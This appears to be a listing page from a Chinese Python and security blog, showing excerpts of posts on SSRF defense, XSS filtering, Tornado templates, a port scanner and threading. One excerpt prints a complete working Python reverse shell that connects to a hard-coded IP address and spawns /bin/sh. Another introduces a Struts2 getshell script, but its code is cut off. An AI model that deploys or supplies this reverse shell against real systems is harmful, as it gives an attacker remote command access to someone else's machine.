谈一谈如何在Python开发中拒绝SSRF漏洞

作者: 分类: Python 时间: 2016-9-30 15:26 评论: 7条评论 浏览: 2035人看过 标签: python ssrf漏洞 requests

0x01 SSRF漏洞常见防御手法及绕过方法

SSRF是一种常见的Web漏洞,通常存在于需要请求外部内容的逻辑中,比如本地化网络图片、XML解析时的外部实体注入、软件的离线下载等。当攻击者传入一个未经验证的URL,后端代码直接请求这个URL,将会造成SSRF漏洞。

具体危害体现在以下几点上:

  • URL为内网IP或域名,攻击者将可以通过SSRF漏洞扫描目标内网,查找内网内的漏洞,并想办法反弹权限
  • URL中包含端口,攻击者将可以扫描并发现内网中机器的其他服务,再进一步进行利用
  • 当请求方法允许其他协议的时候,将可能利用gophar、file等协议进行第三方服务利用,如利用内网的redis获取权限、利用fastcgi进行getshell等

特别是这两年,大量利用SSRF攻击内网服务的案例被爆出来,导致SSRF漏洞慢慢受到重视。这就给Web应用开发者提出了一个难题:如何在保证业务正常的情况下防御SSRF漏洞?

很多开发者认为,只要检查一下请求url的host不为内网IP,即可防御SSRF。这个观点其实提出了两个技术要点:

  1. ...

阅读全文>>

重构Sec-News之路

作者: 分类: Python 时间: 2016-1-12 16:12 评论: 7条评论 浏览: 2608人看过 标签: python sec-news

    不知道什么时候突然发现我已经稳定运行了近半年的sec-news(http://wiki.ioin.in)突然变得特别慢,为跳转效率我也是尝试了很多方法,比如加缓存。我使用了一个叫flask-cache的缓存: https://pythonhosted.org/Flask-Cache/ ,很好用的cache。

    特别喜欢python的一点就是,修饰器(@Decorator)的存在,让很多功能变得简单。flask-cache里有一种cache方式叫Memoization,它可以简单地用Decorator的方式放在任意函数上。根据函数参数的值,来缓存函数的结果。

class Person(db.Model):
    @cache.memoize(50)
    def has_membership(self, role_id):
            return Group.query.filter_by(user=self, role_id=role_id).count() >= 1
    上面是文档里给出的一个example,其缓存了has_membership函数,当我们调用has_membership(1)的时候,就缓存下50秒这个函数的返回值。那么下次再调用has_membership(1)的时候,就会直接返回缓存的结果,但如果你调用has_membership(2),就是另一个缓存了。

    我将flask-cache加到flask的view里,这样就可以缓存整个页面了。

    但是,缓存永远不是解决效率问题的根本方法,解决问题是找到根本原因。我仔细分析了我的sec-news,我认为以前使用的mongodb数据库,是导致整个网站运行慢的原因。

    也的确,我设计mongodb的概念和以前设计mysql的概念完全不同,我设计了这样一个集

阅读全文>>

python富文本XSS过滤器

作者: 分类: Python 时间: 2015-4-8 21:37 评论: 8条评论 浏览: 6207人看过 标签: python 富文本 xss

    前言:那天我正在开发网站最关键的部分——XSS过滤器,女神突然来电话说:“那东西好难呀,别开发了,来我家玩吧!”。我“啪”地一下把电话挂了,想让我的网站出XSS漏洞,没门~

    python做web开发当今已经逐渐成为主流之一,但相关的一些第三方模块和库还没有php和node.js多。

    比如XSS过滤组件,PHP下有著名的“HTML Purifier”(http://htmlpurifier.org/ ),还有非著名过滤组件“XssHtml”(http://phith0n.github.io/XssHtml ),当然后者是我自己开发的。

    python的pip下也可以安装一款名为“html-purifier”的库,但此purifier和php下的就大不相同了。这个库负责将html中,白名单以外的标签和属性过滤掉。

    注意,他并不是过滤XSS的,只是过滤不在白...

阅读全文>>

Tornado模板对空白字符的处理与解决方案

作者: 分类: Python 时间: 2014-12-29 21:27 评论: 1条评论 浏览: 4053人看过 标签: python tornado

    Tornado模板引擎一直有一个坑,有时候你可能觉得并不影响正常使用,但强迫症就是受不了:模板会去掉每行前后的空格。

    最后出来的页面就是这样:

    01.jpg

    不缩进真的很影响心情的好吧,特别是对一个python开发者。

    国外一些Q&A对这个情况也有一些讨论,其中提到比较多的就是compress_whitespace。在github找到一个issue:https://github.com/tornadoweb/tornado/issues/178,就是在抱怨空白字符的问题。空白字符在<pre>中被去除,导致代码标签“<pre>”这块出问题。

    我们看看tornado代码吧,这是Template类的构造函数……


阅读全文>>

python 实现 php 的 var_dump 功能

作者: 分类: Python 时间: 2014-5-20 1:28 评论: 2条评论 浏览: 4829人看过 标签: python var_dump

    最近在做python的web开发(原谅我的多变,好东西总想都学着。。。node.js也是),不过过程中总遇到些问题,不管是web.py还是django,开发起来确实没用php方便,毕竟存在的时间比较短,很多不完善的地方。

    比如我在调试php中最常用的函数,var_dump,在python里找不到合适的替代函数。php中var_dump是一个特别有用的函数,它可以输出任何变量的值,不管你是一个对象还是一个数组,或者只是一个数。它总能用友好的方式输出,我调试的时候经常会需要看某位置的变量信息,调用它就很方便:

    16.jpg

    但是开发python的时候就没有太好的替代方案。

    之前想到repr,但这个函数只是调用了对象中的__str__,和直接print obj没啥区别。print是打印它,而

阅读全文>>

python正向连接后门

作者: 分类: Python 时间: 2014-4-12 0:12 评论: 5条评论 浏览: 7977人看过 标签: socket cmd后门 python
    python在linux下的反弹shell代码我相信很多人都见过:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

    原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。

    那么,本...

阅读全文>>

struts2 S2-016/S2-017 Python GetShell

作者: 分类: 网络安全 时间: 2013-7-18 2:39 评论: 1条评论 浏览: 8927人看过 标签: python struts getshell

    之前在看PHP,要给协会写一个CTF,偶然看到乌云上发的最新struts2漏洞以及getshell,jsp我基本上也看不懂。折腾了一下,发现挺有意思,于是写一个python的脚本来自动化getshell吧~

    ……不知不觉已经快3点了……


#coding : utf-8
__author__ = 'Phtih0n'
im...


阅读全文>>

Python多线程端口扫描工具

作者: 分类: Python 时间: 2013-7-14 22:50 评论: 0条评论 浏览: 8728人看过 标签: python 多线程 端口扫描

    昨晚今晚写了两晚,总算把Py Port Scanner 写完了,姑且称之为0.1版本,算是一个Python多线程端口扫描工具。

    水平有限,实话中间有一些困惑和不解的地方,代码可能也写的比较乱。有些问题并未找到很好的解决方法,还望大家谅解。速度大家自己试验,我感觉还行。

    送上效果图两份,分别是扫...

阅读全文>>

谈Python多线程及程序锁

作者: 分类: Python 时间: 2013-7-13 0:23 评论: 7条评论 浏览: 12186人看过 标签: python 多线程
    Python中多线程使用到Threading模块。Threading模块中用到的主要的类是Thread,我们先来写一个简单的多线程代码:
# coding : uft-8
__author__ = 'Phtih0n'
import threading

class MyThread(threading.Thread):
    def __init__(...

阅读全文>>

python - 获取网站PR及百度权重

作者: 分类: Python 时间: 2013-6-2 23:05 评论: 3条评论 浏览: 9111人看过 标签: python PR 权重

    上一次我用requests库写的一个抓取页面中链接的简单代码,延伸一下,我们还可以利用它来获取我们网站的PR以及百度权重。原理差不多。最后我们甚至可以写一个循环批量查询网站的相关信息。

    先说说GooglePR,全称PageRank。它是Google官方给出的评定一个网站SEO的评级,这个大家应该不陌生。既然是官方给出的,当然有一个官方的接口去获...

阅读全文>>

Top ↑ sitemap More